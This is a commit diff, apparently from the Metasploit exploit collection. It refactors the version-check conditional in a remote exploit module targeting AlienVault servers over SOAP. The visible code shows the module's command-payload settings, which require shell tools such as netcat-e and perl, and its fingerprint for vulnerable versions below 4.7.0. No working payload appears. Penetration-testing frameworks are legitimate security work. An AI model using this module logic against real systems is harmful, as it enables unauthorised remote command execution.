Fix the if cleanup
parent
288430d813
commit
45ea59050c
|
@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
#'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied
|
||||
#'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied
|
||||
'Compat' => {
|
||||
'RequiredCmd' => 'perl netcat-e openssl python gawk'
|
||||
}
|
||||
|
@ -66,12 +66,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
version = ""
|
||||
res = send_soap_request("get_dpkg")
|
||||
|
||||
if res && res.code == 200
|
||||
if res.headers['SOAPServer'] && res.headers['SOAPServer'] =~ /SOAP::Lite/
|
||||
if res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/
|
||||
version = $1
|
||||
end
|
||||
end
|
||||
if res &&
|
||||
res.code == 200 &&
|
||||
res.headers['SOAPServer'] &&
|
||||
res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
|
||||
res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/
|
||||
|
||||
version = $1
|
||||
end
|
||||
|
||||
if version.empty? || version >= "4.7.0"
|
||||
|
|
Loading…
Reference in New Issue